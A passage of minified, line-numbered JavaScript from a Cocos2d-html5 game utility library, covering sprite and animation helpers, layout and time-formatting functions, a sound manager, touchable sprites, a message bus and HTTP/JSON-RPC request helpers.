  2790. if (b) a(b, g);
  2791. else {
  2792. var d = parseInt(c);
  2793. isNaN(d) || 0 > d ? (cc.log("[BSHTTP] server time request error:" + JSON.stringify(c)), a("", g)) : a(g, d)
  2794. }
  2795. })
  2796. };
  2797. x.platform = "html5";
  2798. x.Gp = "appstore";
  2799. x.$g = cc.Class.extend({
  2800. $a: g,
  2801. init: function() {
  2802. this.$a = {}
  2803. },
  2804. ig: function(a) {
  2805. this.$a[a] || (this.$a[a] = 0, cc.spriteFrameCache.addSpriteFrames(a));
  2806. this.$a[a]++
  2807. },
  2808. hg: function(a) {
  2809. this.$a[a]--;
  2810. 0 == this.$a[a] && cc.spriteFrameCache.removeSpriteFramesFromFile(a)
  2811. }
  2812. });
  2813. x.Yc = {
  2814. qc: g,
  2815. l: function() {
  2816. this.qc || (this.qc = new x.$g, this.qc.init());
  2817. return this.qc
  2818. }
  2819. };
  2820. x = x || {};
  2821. x.$p = "js_bscommon/res/shareLayer.ccbi";
  2822. x.init = function() {
  2823. cc.Sequence.Xh = function(a) {
  2824. if (0 === a.length) return cc.Sequence.create();
  2825. if (1 === a.length) return cc.Sequence.create(a[0]);
  2826. if (2 === a.length) return cc.Sequence.create(a[0], a[1]);
  2827. var b = a.pop();
  2828. return cc.Sequence.create(cc.Sequence.Xh(a), b)
  2829. };
  2830. x.Lf() && (x.pf || (x.pf = cc.view.Sh), cc.view.Sh = function(a, b, c) {
  2831. a = x.pf.call(cc.view, a, b, c);
  2832. window && window.Nh && (b = window.Nh, a.x /= b, a.y /= b);
  2833. return a
  2834. });
  2835. cc.Ug && (cc.Ug.extend = cc.Class.extend);
  2836. cc.me && (cc.me.extend = cc.Class.extend);
  2837. cc.Scale9Sprite && (cc.Scale9Sprite.extend = cc.Class.extend);
  2838. cc.yb && (cc.yb.extend = cc.Class.extend)
  2839. };
  2840. x.xa = x.xa || {};
  2841. x.xa.Zh = function() {
  2842. return (new Date).getTime()
  2843. };
  2844. x.xp = k();
  2845. x.wp = k();
  2846. x.zp = k();
  2847. x.yp = k();
  2848. x.fa = x.fa || {};
  2849. x.fa.Go = 1;
  2850. x.fa.Ho = 2;
  2851. x.fa.Jo = 3;
  2852. x.fa.Io = 4;
  2853. x.fa.Fo = 5;
  2854. x.fa.Lo = 6;
  2855. x.fa.Ko = 7;
  2856. "undefined" === typeof cc.vg && (cc.vg = {
  2857. r: 166,
  2858. g: 166,
  2859. b: 166
  2860. });
  2861. String.prototype.Ic = function(a) {
  2862. return this.replace(String.prototype.Ic.Cj, function(b) {
  2863. b = parseInt(b.substring(1, b.length - 1));
  2864. return 0 <= b ? a[b] : -1 === b ? "{" : -2 === b ? "}" : ""
  2865. })
  2866. };
  2867. String.prototype.Ic.Cj = /{-?[0-9]+}/g;
  2868. x.ir = function(a, b) {
  2869. return a.Ic(b)
  2870. };
  2871. x.Im = function(a) {
  2872. return 0 > a ? -a : a
  2873. };
  2874. x.jr = function(a) {
  2875. var b = Math.floor(a / 3600),
  2876. c = Math.floor((a - 3600 * b) / 60);
  2877. return "{0}:{1}:{2}".Ic([b, c, a - 3600 * b - 60 * c])
  2878. };
  2879. x.rp = function(a) {
  2880. return cc.p(a.getContentSize().width / 2, a.getContentSize().height / 2)
  2881. };
  2882. x.sp = function() {
  2883. var a = cc.director.Yn();
  2884. return cc.p(a.width / 2, a.height / 2)
  2885. };
  2886. x.Kl = function(a) {
  2887. return cc.color(a.r, a.g, a.b, 255)
  2888. };
  2889. x.to = function(a) {
  2890. return eval("(" + cc.Sk.sa().Nn(a) + ")")
  2891. };
  2892. x.$d = function(a) {
  2893. try {
  2894. return JSON.parse(a)
  2895. } catch (b) {
  2896. return cc.log("[JSON]:" + b.message), cc.log("[JSON]:" + b.description), g
  2897. }
  2898. };
  2899. x.or = function(a) {
  2900. try {
  2901. return JSON.stringify(a)
  2902. } catch (b) {
  2903. return cc.log(b.message), cc.log(b.description), g
  2904. }
  2905. };
  2906. x.jl = function(a) {
  2907. a && a.removeFromParent()
  2908. };
  2909. x.Xc = function(a, b) {
  2910. return a + Math.floor(Math.random() * (b - a))
  2911. };
  2912. x.surround = function(a, b, c, d) {
  2913. return _.filter([
  2914. [a - 1, b - 1],
  2915. [a, b - 1],
  2916. [a + 1, b - 1],
  2917. [a - 1, b],
  2918. [a, b],
  2919. [a + 1, b],
  2920. [a - 1, b + 1],
  2921. [a, b + 1],
  2922. [a + 1, b + 1]
  2923. ], function(a) {
  2924. return 0 <= a[0] && 0 <= a[1] && a[0] < c && a[1] < d
  2925. })
  2926. };
  2927. x.Lf = function() {
  2928. return !cc.sys.isNative
  2929. };
  2930. x.rk = function() {
  2931. return x.Ab.sa().Kh()
  2932. };
  2933. x.ma = function() {
  2934. return Math.floor(65536 * (1 + Math.random())).toString(16).substring(1)
  2935. };
  2936. x.Hi = function() {
  2937. return x.ma() + x.ma() + "-" + x.ma() + "-" + x.ma() + "-" + x.ma() + "-" + x.ma() + x.ma() + x.ma()
  2938. };
  2939. x.Nc = function(a, b) {
  2940. a.Nc ? a.Nc(b) : a.setFlippedX(b)
  2941. };
  2942. x.Oc = function(a, b) {
  2943. a.Oc ? a.Oc(b) : a.setFlippedY(b)
  2944. };
  2945. x.Qn = function(a) {
  2946. return cc.rectGetMaxY(a.getBoundingBox())
  2947. };
  2948. x.Rn = function(a) {
  2949. return cc.rectGetMaxY(a.getBoundingBoxToWorld())
  2950. };
  2951. x.Cf = function(a) {
  2952. return cc.rectGetMinY(a.getBoundingBox())
  2953. };
  2954. x.Vm = function(a) {
  2955. return cc.rectGetMinY(a.getBoundingBoxToWorld())
  2956. };
  2957. x.jn = function(a) {
  2958. return cc.rectGetMinX(a.getBoundingBox())
  2959. };
  2960. x.Jn = function(a) {
  2961. return cc.rectGetMaxX(a.getBoundingBox())
  2962. };
  2963. x.Xn = function(a) {
  2964. return a.width * a.scaleX
  2965. };
  2966. x.Wn = function(a) {
  2967. return a.height * a.scaleY
  2968. };
  2969. x.Jc = function(a) {
  2970. return cc.size(a.width * a.scaleX, a.height * a.scaleY)
  2971. };
  2972. x.Pd = function(a) {
  2973. x.ea(a, void 0, 0.5, 0.5)
  2974. };
  2975. x.ea = function(a, b, c, d) {
  2976. b = (b || a.getParent()).getContentSize();
  2977. var f = x.Jc(a),
  2978. l = a.isIgnoreAnchorPointForPosition() ? cc.p(0, 0) : a.getAnchorPoint();
  2979. a.setPosition(cc.p(b.width * c + (l.x - 0.5) * f.width, b.height * d + (l.y - 0.5) * f.height))
  2980. };
  2981. x.Ol = function(a, b) {
  2982. b = b || a.getParent();
  2983. a.setPositionX(b.getContentSize().width / 2 + (a.getAnchorPoint().x - 0.5) * a.getContentSize().width)
  2984. };
  2985. x.Pl = function(a, b) {
  2986. b = b || a.getParent();
  2987. a.setPositionY(b.getContentSize().height / 2 + (a.getAnchorPoint().y - 0.5) * a.getContentSize().height)
  2988. };
  2989. x.Rj = function(a, b) {
  2990. a.setScale(b / a.getContentSize().width)
  2991. };
  2992. x.Qj = function(a, b) {
  2993. a.setScale(b / a.getContentSize().height)
  2994. };
  2995. x.aq = function(a, b, c) {
  2996. var d = c ? b : b.width;
  2997. c = c ? c : b.height;
  2998. x.Sj(a, d);
  2999. x.Tj(a, c)
  3000. };
  3001. x.Sj = function(a, b) {
  3002. a.setScaleX(b / a.getContentSize().width)
  3003. };
  3004. x.Tj = function(a, b) {
  3005. a.setScaleY(b / a.getContentSize().height)
  3006. };
  3007. x.ql = function(a, b, c, d) {
  3008. var f = {};
  3009. f.tp = a || 0;
  3010. f.mp = b || 0;
  3011. f.Hr = c || 0;
  3012. f.Ir = d || 0;
  3013. return f
  3014. };
  3015. x.Gl = function(a) {
  3016. return cc.spriteFrameCache.getSpriteFrame(a) ? new cc.Sprite("#" + a) : cc.Sprite.create(a)
  3017. };
  3018. x.jo = function() {
  3019. return !_.isUndefined(navigator) && !_.isUndefined(navigator.userAgent) ? -1 != navigator.userAgent.toLowerCase().indexOf("micromessenger") : h
  3020. };
  3021. x.fo = function(a, b) {
  3022. return "/proxy?url=" + encodeURIComponent(a.replace(/\/[0-9]+$/, "/" + b))
  3023. };
  3024. x.Uj = function(a, b) {
  3025. for (var c = 0; c < a.getChildrenCount(); ++c) this.Uj(a.getChildren()[c], b);
  3026. a instanceof cc.Vk && a.setEnabled(b)
  3027. };
  3028. x.Er = function(a, b) {
  3029. if ("stringstring" != typeof a + typeof b) return h;
  3030. for (var c = a.split("."), d = b.split("."), f = 0, l = Math.max(c.length, d.length); f < l; f++) {
  3031. if (c[f] && !d[f] && 0 < parseInt(c[f]) || parseInt(c[f]) > parseInt(d[f])) return 1;
  3032. if (d[f] && !c[f] && 0 < parseInt(d[f]) || parseInt(c[f]) < parseInt(d[f])) return -1
  3033. }
  3034. return 0
  3035. };
  3036. x.Yl = function(a, b, c, d, f, l) {
  3037. var m = new cc.Sprite("#" + a + b + ".png");
  3038. a = x.Uh(a, b + 1, c, d); - 1 == f ? m.runAction(cc.RepeatForever.create(a)) : (0 < f && (a = cc.Repeat.create(a, f)), l && (a = cc.Sequence.create(a, cc.RemoveSelf.create())), m.runAction(a));
  3039. return m
  3040. };
  3041. x.Uh = function(a, b, c, d) {
  3042. var f = a + "_" + b + "_" + c,
  3043. l = cc.animationCache.getAnimation(f);
  3044. if (!l) {
  3045. for (l = []; - 1 == c || b <= c; ++b) {
  3046. var m = x.Ha(a + b + ".png");
  3047. if (!m) break;
  3048. l.push(m)
  3049. }
  3050. l = new cc.Animation(l, d);
  3051. cc.animationCache.addAnimation(l, f)
  3052. }
  3053. return cc.Animate.create(l)
  3054. };
  3055. x.Ha = function(a) {
  3056. _.endsWith(a, ".png") || (a += ".png");
  3057. return cc.spriteFrameCache.getSpriteFrame(a)
  3058. };
  3059. x.ak = function(a, b, c) {
  3060. b = x.Ha(b);
  3061. a.setSpriteFrame(b);
  3062. c && a.setContentSize(b.vi())
  3063. };
  3064. x.Zd = function() {
  3065. var a = _.sprintf.apply(_, arguments);
  3066. cc.sys.isNative ? cc.log(a) : cc.Tk ? cc.Bl(a) : console.log(a)
  3067. };
  3068. x.qo = function(a, b, c) {
  3069. a = b.convertTouchToNodeSpace(a);
  3070. var d = b.getContentSize().width * b.getScaleX();
  3071. b = b.getContentSize().height * b.getScaleY();
  3072. c = c || cc.rect(0, 0, d, b);
  3073. return cc.rectContainsPoint(c, a)
  3074. };
  3075. x.Wl = function(a) {
  3076. var b = cc.ug.create(),
  3077. c = cc.color(1, 1, 1, 1);
  3078. a = [cc.p(a.x, a.y), cc.p(a.x + a.width, a.y), cc.p(a.x + a.width, a.y + a.height), cc.p(a.x, a.y + a.height)];
  3079. b.ai(a, c, 1, c);
  3080. return cc.me.create(b)
  3081. };
  3082. x.clone = function(a) {
  3083. var b = a instanceof Array ? [] : {},
  3084. c;
  3085. for (c in a) a.hasOwnProperty(c) && !_.isFunction(a[c]) && (b[c] = _.isObject(a[c]) ? x.clone(a[c]) : a[c]);
  3086. return b
  3087. };
  3088. x.Tl = function(a, b, c) {
  3089. var d = a.getAnchorPoint(),
  3090. f = a.getContentSize();
  3091. c = c || cc.p(f.width * d.x, f.height * d.y);
  3092. a = a.convertToWorldSpace(c);
  3093. return b.convertToNodeSpace(a)
  3094. };
  3095. x.so = function(a) {
  3096. if (this.Lf()) {
  3097. var b = cc.loader.getRes("conf/" + a + ".json");
  3098. if (b) return b;
  3099. a = cc.loader.Al("res/conf/" + a + ".json")
  3100. } else a = x.qg.l().nj("conf/" + a + ".bjs");
  3101. return x.$d(a)
  3102. };
  3103. x.gj = function(a) {
  3104. for (; a && a.isVisible();) a = a.getParent();
  3105. return !a
  3106. };
  3107. x.fp = function(a, b, c, d) {
  3108. var f = cc.Layer.create(),
  3109. l = 0;
  3110. c == g && (c = cc.VERTICAL_TEXT_ALIGNMENT_CENTER);
  3111. d || (d = 0, _.each(a, function(a) {
  3112. a = x.Jc(a).height;
  3113. d < a && (d = a)
  3114. }));
  3115. var m = [1, 0.5, 0];
  3116. _.each(a, function(a) {
  3117. if (a) {
  3118. var s = x.Jc(a),
  3119. u = a.getAnchorPoint();
  3120. a.isIgnoreAnchorPointForPosition() && (u = cc.p(0, 0));
  3121. var v = cc.p(l, m[c] * (d - s.height));
  3122. a.setPosition(cc.pAdd(v, cc.pCompMult(u, cc.pFromSize(s))));
  3123. l += s.width + b;
  3124. f.addChild(a)
  3125. }
  3126. });
  3127. f.setContentSize(l - b, d);
  3128. f.setAnchorPoint(0, 0);
  3129. return f
  3130. };
  3131. x.gp = function(a, b, c, d) {
  3132. var f = cc.Layer.create(),
  3133. l = 0;
  3134. if (_.isUndefined(c) || _.isNull(c)) c = cc.TEXT_ALIGNMENT_CENTER;
  3135. d || (d = 0, _.each(a, function(a) {
  3136. a && (a = a.getContentSize().width, d < a && (d = a))
  3137. }));
  3138. var m = [0, 0.5, 1];
  3139. a.reverse();
  3140. _.each(a, function(a) {
  3141. if (a) {
  3142. var s = x.Jc(a),
  3143. u = a.getAnchorPoint();
  3144. a.isIgnoreAnchorPointForPosition() && (u = cc.p(0, 0));
  3145. var v = cc.p(m[c] * (d - s.width), l);
  3146. a.setPosition(cc.pAdd(v, cc.pCompMult(u, cc.pFromSize(s))));
  3147. l += s.height + b;
  3148. f.addChild(a)
  3149. }
  3150. });
  3151. f.setContentSize(d, l - b);
  3152. f.setAnchorPoint(0, 0);
  3153. return f
  3154. };
  3155. x.Nm = function(a) {
  3156. var b = Math.floor(a / 3600);
  3157. a = Math.floor(a % 3600);
  3158. var c = Math.floor(a / 60);
  3159. a %= 60;
  3160. var d = "",
  3161. d = 10 <= b ? b : "0" + b,
  3162. d = 10 <= c ? d + ":" + c : d + ":0" + c;
  3163. return 10 <= a ? d + ":" + a : d + ":0" + a
  3164. };
  3165. x.Zp = function(a) {
  3166. var b = Math.floor(a / 86400),
  3167. c = Math.floor(a / 3600),
  3168. d = Math.floor(a / 60);
  3169. return 0 != b ? b + "天" : 0 != c ? c + "小时" : 0 != d ? d + "分钟" : a + "秒"
  3170. };
  3171. x.Mc = function(a, b) {
  3172. var c = {
  3173. event: cc.EventListener.TOUCH_ONE_BY_ONE,
  3174. swallowTouches: b == g ? e : b,
  3175. onTouchBegan: a.onTouchBegan.bind(a)
  3176. };
  3177. a.onTouchMoved && (c.onTouchMoved = a.onTouchMoved.bind(a));
  3178. a.onTouchEnded && (c.onTouchEnded = a.onTouchEnded.bind(a));
  3179. a.onTouchCanceled && (c.onTouchCanceled = a.onTouchCanceled.bind(a));
  3180. c = cc.EventListener.create(c);
  3181. cc.eventManager.addListener(c, a);
  3182. return c
  3183. };
  3184. x.Zo = 0;
  3185. x.$o = 1;
  3186. x.ap = 2;
  3187. x.Yo = 3;
  3188. x.vo = 4;
  3189. x.ue = {
  3190. kf: h,
  3191. jf: h,
  3192. hf: h,
  3193. yd: 1,
  3194. hd: 1,
  3195. uf: [],
  3196. ri: p("hd"),
  3197. Xj: function(a) {
  3198. this.hd = a;
  3199. cc.L.Zf(a)
  3200. },
  3201. Df: p("yd"),
  3202. Pc: function(a) {
  3203. this.yd = a;
  3204. cc.L.Pc(a)
  3205. },
  3206. ti: p("kf"),
  3207. Yj: function(a) {
  3208. this.kf = a;
  3209. this.ce(a);
  3210. this.de(a)
  3211. },
  3212. si: p("jf"),
  3213. de: function(a) {
  3214. this.jf = a;
  3215. cc.L.Pc(a ? 0 : this.yd)
  3216. },
  3217. hk: function() {
  3218. this.de(!this.Td())
  3219. },
  3220. Td: p("hf"),
  3221. ce: function(a) {
  3222. this.hf = a;
  3223. cc.L.Zf(a ? 0 : this.hd)
  3224. },
  3225. gk: function() {
  3226. this.ce(!this.Td())
  3227. },
  3228. da: function(a, b) {
  3229. return cc.L.da(a, b)
  3230. },
  3231. Tc: function(a) {
  3232. cc.L.Tc(a)
  3233. },
  3234. Vb: function() {
  3235. cc.L.Vb()
  3236. },
  3237. Lc: function(a) {
  3238. cc.L.Lc(a)
  3239. },
  3240. eb: function() {
  3241. cc.L.eb()
  3242. },
  3243. zj: function(a, b) {
  3244. var c = this.uf;
  3245. return 0 >= c.length || b <= _.last(c).Ip ? (c.push({
  3246. file: a,
  3247. priority: b
  3248. }), this.Za(a), e) : h
  3249. },
  3250. xj: function() {
  3251. var a = this.uf;
  3252. 0 >= a.length || (cc.L.eb(), a.pop(), 0 < a.length && this.Za(_.last(a).file))
  3253. },
  3254. dump: function() {
  3255. cc.log("bs.Sound.dump not implemented.")
  3256. },
  3257. B: k(),
  3258. Rh: k(),
  3259. Ih: k(),
  3260. init: k(),
  3261. Za: function(a) {
  3262. cc.L.eb();
  3263. cc.L.Lc(a, e)
  3264. },
  3265. l: function() {
  3266. return this
  3267. }
  3268. };
  3269. x.Qo = -3;
  3270. x.Mo = -2;
  3271. x.Ro = -1;
  3272. x.So = 0;
  3273. x.No = 1;
  3274. x.Po = 2;
  3275. x.To = 3;
  3276. x.Oo = 4;
  3277. x.Mf = "message-resource-status-changed";
  3278. x.mj = "message-resource-update-progress-changed";
  3279. x.Bp = function(a, b) {
  3280. x.postMessage(x.Mf, {
  3281. Of: a,
  3282. status: b
  3283. });
  3284. x.Zd("[BSResource] onResourceCheckStatusChanged: %s, %d", a, b)
  3285. };
  3286. x.Dp = function(a, b) {
  3287. x.postMessage(x.Mf, {
  3288. Of: a,
  3289. status: b
  3290. });
  3291. x.Zd("[BSResource] onResourceUpdateStatusChanged: %s, %d", a, b)
  3292. };
  3293. x.Cp = function(a, b, c) {
  3294. x.postMessage(x.mj, {
  3295. Of: a,
  3296. Lm: b,
  3297. total: c
  3298. });
  3299. x.Zd("[BSResource] onResourceUpdateProgressChanged: %s, %d, %d", a, b, c)
  3300. };
  3301. x.w = x.w || {};
  3302. x.w.we = 1E4;
  3303. x.w.Kp = function(a, b) {
  3304. x.w.get("/proxy?url=" + encodeURIComponent(a), b)
  3305. };
  3306. x.w.get = function(a, b) {
  3307. var c = new XMLHttpRequest;
  3308. c.open("GET", a, e);
  3309. c.onreadystatechange = function() {
  3310. 4 == c.readyState && _.isFunction(b) && (200 == c.status ? b(g, c.responseText) : (cc.log("[BSHttp] response status error :" + c.status), 0 >= c.status ? b(c.status, g) : b(c.status, c.responseText)))
  3311. };
  3312. c.timeout = x.w.we;
  3313. c.ontimeout = b;
  3314. c.send()
  3315. };
  3316. x.w.yj = function(a, b, c) {
  3317. var d = new XMLHttpRequest;
  3318. d.open("POST", a, e);
  3319. d.setRequestHeader("Content-Type", "application/json");
  3320. d.onreadystatechange = function() {
  3321. 4 == d.readyState && _.isFunction(c) && (200 == d.status ? c(g, d.responseText) : (cc.log("[BSHttp] response status error :" + d.status), 0 >= d.status ? c(d.status, g) : c(d.status, d.responseText)))
  3322. };
  3323. d.timeout = x.w.we;
  3324. d.send(b)
  3325. };
  3326. x.w.Fd = g;
  3327. x.w.Rq = function(a) {
  3328. x.w.Fd = a
  3329. };
  3330. x.w.Jh = function(a, b) {
  3331. if (_.isFunction(x.w.Fd)) {
  3332. var c = x.w.Fd(a, b);
  3333. _.isArray(b) ? b.push(c) : b.Dl = c
  3334. }
  3335. };
  3336. x.w.uo = function(a, b, c, d) {
  3337. x.w.Jh(b, c);
  3338. x.w.yj(a, JSON.stringify({
  3339. jsonrpc: "2.0",
  3340. method: b,
  3341. params: c,
  3342. id: 0
  3343. }), function(a, c) {
  3344. if (a) d(a, g);
  3345. else {
  3346. var m = x.$d(c);
  3347. !m || m.error ? (cc.log("[BSHTTP] rpc:" + b + ", return error:" + JSON.stringify(m)), d(m, g)) : d(g, x.$d(c).result)
  3348. }
  3349. })
  3350. };
  3351. x.Ab = cc.Class.extend({
  3352. lc: 1E6,
  3353. Kh: function() {
  3354. this.lc--;
  3355. this.lc == this.kj && (cc.log("[TouchPriorityManager] touch priority overflow"), this.lc = this.lj);
  3356. return this.lc
  3357. }
  3358. });
  3359. x.Rd = g;
  3360. x.Ab.sa = function() {
  3361. x.Rd == g && (x.Rd = new x.Ab);
  3362. return x.Rd
  3363. };
  3364. x.Ab.lj = 1E6;
  3365. x.Ab.kj = 1024;
  3366. x.Y = cc.Layer.extend({
  3367. il: e,
  3368. xf: g,
  3369. ye: g,
  3370. yl: h,
  3371. td: h,
  3372. ic: g,
  3373. s: g,
  3374. ze: h,
  3375. Ae: e,
  3376. Eb: e,
  3377. qf: g,
  3378. jh: g,
  3379. Hb: g,
  3380. Dd: g,
  3381. gd: g,
  3382. pc: g,
  3383. ctor: function() {
  3384. this._super()
  3385. },
  3386. lf: function(a) {
  3387. a = this.convertToNodeSpace(a.getLocation());
  3388. var b = this.rect();
  3389. b.x = 0;
  3390. b.y = 0;
  3391. return cc.rectEqualToRect(this.ic, cc.rect(0, 0, 0, 0)) ? cc.rectContainsPoint(b, a) : cc.rectContainsPoint(this.ic, a)
  3392. },
  3393. init: function(a, b) {
  3394. this._super();
  3395. this.xf = b;
  3396. this.ye = a;
  3397. this.ic = cc.rect(0, 0, 0, 0);
  3398. this.hh = x.Mc(this);
  3399. this.ignoreAnchorPointForPosition(h)
  3400. },
  3401. bj: function(a, b, c) {
  3402. this.init(b, c);
  3403. this.setContentSize(a)
  3404. },
  3405. cj: function(a, b, c) {
  3406. this.init(b, c);
  3407. a = this.s = new cc.Sprite(a);
  3408. a.setAnchorPoint(0, 0);
  3409. this.addChild(a);
  3410. this.setContentSize(a.getContentSize())
  3411. },
  3412. initWithSpriteFrameName: function(a, b, c) {
  3413. this.init(b, c);
  3414. a = this.s = new cc.Sprite("#" + a);
  3415. a.setAnchorPoint(0, 0);
  3416. this.addChild(a);
  3417. this.setContentSize(a.getContentSize())
  3418. },
  3419. ej: function(a, b, c, d) {
  3420. this.init(c, d);
  3421. c = this.s = new cc.Sprite("#" + a);
  3422. this.bg(a);
  3423. this.eg(b);
  3424. c.setAnchorPoint(0, 0);
  3425. this.addChild(c);
  3426. this.setContentSize(c.getContentSize())
  3427. },
  3428. dj: function(a, b, c, d, f) {
  3429. this.init(d, f);
  3430. d = this.s = new cc.Sprite("#" + a);
  3431. this.bg(a);
  3432. this.eg(b);
  3433. this.Wj(c);
  3434. d.setAnchorPoint(0, 0);
  3435. this.addChild(d);
  3436. this.setContentSize(d.getContentSize())
  3437. },
  3438. aj: function(a, b, c, d, f) {
  3439. this.init(d, f);
  3440. a = this.s = cc.Scale9Sprite.Bf(a, b);
  3441. a.setAnchorPoint(0, 0);
  3442. this.addChild(a);
  3443. this.setContentSize(c)
  3444. },
  3445. Tb: function(a, b, c) {
  3446. this.init(b, c);
  3447. this.s = a;
  3448. a.setAnchorPoint(0, 0);
  3449. this.addChild(a);
  3450. this.setContentSize(a.getContentSize())
  3451. },
  3452. $f: function(a) {
  3453. this.hh.setSwallowTouches(a)
  3454. },
  3455. bk: n("ic"),
  3456. rect: function() {
  3457. var a = this.getPosition(),
  3458. b = this.getContentSize(),
  3459. c = this.getAnchorPoint();
  3460. return cc.rect(a.x - b.width * c.x, a.y - b.height * c.y, b.width, b.height)
  3461. },
  3462. lq: function(a, b, c) {
  3463. this.jh = {
  3464. node: a,
  3465. anchor: _.clone(b),
  3466. Hp: _.clone(c)
  3467. };
  3468. var d = this.getContentSize();
  3469. b && (a.setAnchorPoint(b), a.setPosition(c.x + d.width * b.x, c.y + d.height * b.y));
  3470. this.addChild(a, 1)
  3471. },
  3472. setContentSize: function(a) {
  3473. cc.sizeEqualToSize(a, this.getContentSize()) || (this._super(a), this.s && this.s.setContentSize(a))
  3474. },
  3475. Nc: function(a) {
  3476. x.Nc(this.s, a)
  3477. },
  3478. Oc: function(a) {
  3479. x.Oc(this.s, a)
  3480. },
  3481. setSpriteFrame: function(a) {
  3482. if (cc.Scale9Sprite && this.s instanceof cc.Scale9Sprite) {
  3483. var b = this.s.Xm(),
  3484. c = _.clone(this.s.getContentSize()),
  3485. d = _.clone(this.s.getAnchorPoint());
  3486. this.s.initWithSpriteFrame(a, b);
  3487. this.s.setAnchorPoint(d);
  3488. this.s.setContentSize(c)
  3489. } else this.Qb(a)
  3490. },
  3491. bg: function(a) {
  3492. var b = !! this.Hb;
  3493. this.Hb = a;
  3494. b && (a = cc.spriteFrameCache.getSpriteFrame(a), this.Qb(a))
  3495. },
  3496. eg: n("Dd"),
  3497. Wj: n("gd"),
  3498. fq: n("ze"),
  3499. gq: n("Ae"),
  3500. onTouchBegan: function(a) {
  3501. if (!x.gj(this)) return h;
  3502. this.qf = _.clone(a.getLocation());
  3503. return this.lf(a) && this.Eb ? (this.Dd && (a = cc.spriteFrameCache.getSpriteFrame(this.Dd), this.Qb(a)), e) : h
  3504. },
  3505. onTouchMoved: function(a) {
  3506. 15 < cc.pDistance(a.getLocation(), this.qf) && (this.td = e)
  3507. },
  3508. onTouchEnded: function(a) {
  3509. if (this.Hb && this.Eb) {
  3510. var b = cc.spriteFrameCache.getSpriteFrame(this.Hb);
  3511. this.Qb(b)
  3512. }
  3513. if (this.Eb && (!this.Ae || this.lf(a))) if (b = this.td, this.td = h, !b || !this.ze) {
  3514. var b = this.xf,
  3515. c = this.ye;
  3516. if (c) if (b && "string" == typeof c) b[c](this);
  3517. else b && "function" == typeof c ? c.call(b, this, a) : c(this)
  3518. }
  3519. },
  3520. isCascadeColorEnabled: q(h),
  3521. isCascadeOpacityEnabled: q(h),
  3522. getColor: function() {
  3523. return this.s.getColor()
  3524. },
  3525. setColor: function(a) {
  3526. for (var b = this.getChildren(), c = 0; c < b.length; c++) {
  3527. var d = b[c];
  3528. d && d.setColor && d.setColor(a)
  3529. }
  3530. },
  3531. getOpacity: function() {
  3532. return this.s.getOpacity()
  3533. },
  3534. setOpacity: function(a) {
  3535. for (var b = this.getChildren(), c = 0; c < b.length; c++) {
  3536. var d = b[c];
  3537. d && d.setOpacity && d.setOpacity(a)
  3538. }
  3539. },
  3540. setEnabled: function(a) {
  3541. a != this.Eb && (this.Eb = a, this.gd && (a = cc.spriteFrameCache.getSpriteFrame(a ? this.Hb : this.gd), this.Qb(a)))
  3542. },
  3543. Uq: function() {
  3544. cc.log("do not use bs.TouchableSprite.setTouchEnabled, use setEnabled instead")
  3545. },
  3546. Qb: function(a) {
  3547. this.s.setSpriteFrame(a)
  3548. },
  3549. fadeOut: function(a, b) {
  3550. this.ih = 255 / a;
  3551. this.pc = b;
  3552. this.scheduleUpdate()
  3553. },
  3554. update: function(a) {
  3555. a = this.getOpacity() - this.ih * a;
  3556. 0 >= a && (a = 0, this.unscheduleUpdate(), this.pc && (this.pc(), this.pc = g));
  3557. this.setOpacity(a)
  3558. }
  3559. });
  3560. x.Y.Yh = function(a, b, c) {
  3561. var d = new this;
  3562. d.bj(a, b, c);
  3563. return d
  3564. };
  3565. x.Y.$l = function(a, b, c) {
  3566. a = new this;
  3567. a.Tb(a, b, c);
  3568. return a
  3569. };
  3570. x.Y.am = function(a, b, c) {
  3571. var d = new this;
  3572. d.cj(a, b, c);
  3573. return d
  3574. };
  3575. x.Y.Bf = function(a, b, c) {
  3576. var d = new this;
  3577. d.initWithSpriteFrameName(a, b, c);
  3578. return d
  3579. };
  3580. x.Y.cm = function(a, b, c, d) {
  3581. var f = new this;
  3582. f.ej(a, b, c, d);
  3583. return f
  3584. };
  3585. x.Y.bm = function(a, b, c, d, f) {
  3586. var l = new this;
  3587. l.dj(a, b, c, d, f);
  3588. return l
  3589. };
  3590. x.Y.Zl = function(a, b, c, d, f) {
  3591. var l = new this;
  3592. l.aj(a, b, c, d, f);
  3593. return l
  3594. };
  3595. x.yo = "bs-message-app-enter-foreground";
  3596. x.xo = "bs-message-app-enter-background";
  3597. x.Do = "bs-message-social-user-info-updated";
  3598. x.Co = "bs-message-register-remote-notification";
  3599. x.Eo = "bs-message-social-wechat-code";
  3600. x.Ao = "bs-message-pay-restore-finish";
  3601. x.Bo = "bs-message-pay-success";
  3602. x.zo = "bs-message-pay-fail";
  3603. x.wa = cc.Class.extend({
  3604. Aa: {},
  3605. Be: [],
  3606. Ej: function(a, b, c) {
  3607. this.Aa[a] == g && (this.Aa[a] = []);
  3608. this.Aa[a].push({
  3609. target: b,
  3610. Af: c
  3611. })
  3612. },
  3613. mk: function(a, b, c) {
  3614. var d = this.Aa[a];
  3615. d != g && (this.Aa[a] = _.filter(d, function(a) {
  3616. return a.target != b || a.Af != c
  3617. }))
  3618. },
  3619. kk: function(a) {
  3620. var b = this.Aa;
  3621. _.each(b, function(c, d) {
  3622. _.isEmpty(c) || (b[d] = _.filter(c, function(b) {
  3623. return b.target != a
  3624. }))
  3625. })
  3626. },
  3627. ae: function(a, b) {
  3628. this.Be.push([a, b])
  3629. },
  3630. Mm: function() {
  3631. _.each(this.Be, function(a) {
  3632. this.postMessage(a[0], a[1])
  3633. }.bind(this))
  3634. },
  3635. postMessage: function(a, b) {
  3636. var c = this.Aa[a];
  3637. if (c != g) for (var d = 0; d < _.size(c); d++) {
  3638. var f = c[d];
  3639. f.Af.call(f.target, b, a)
  3640. }
  3641. }
  3642. });
  3643. x.Sd = g;
  3644. x.wa.sa = function() {
  3645. x.Sd == g && (x.Sd = new x.wa);
  3646. return x.Sd
  3647. };
  3648. x.Fj = function(a, b, c) {
  3649. x.wa.sa().Ej(a, b, c)
  3650. };
  3651. x.nk = function(a, b, c) {
  3652. x.wa.sa().mk(a, b, c)
  3653. };
  3654. x.lk = function(a) {
  3655. x.wa.sa().kk(a)
  3656. };
  3657. x.postMessage = function(a, b) {
  3658. x.wa.sa().postMessage(a, b)
  3659. };
  3660. x.ae = function(a, b) {
  3661. x.wa.sa().ae(a, b)
  3662. };
  3663. x.uk = x.Fj;
  3664. x.rl = x.nk;
  3665. x.dl = x.postMessage;
  3666. x.cl = x.ae;
  3667. x.X = x.X || {};
  3668. x.X.Wo = 0;
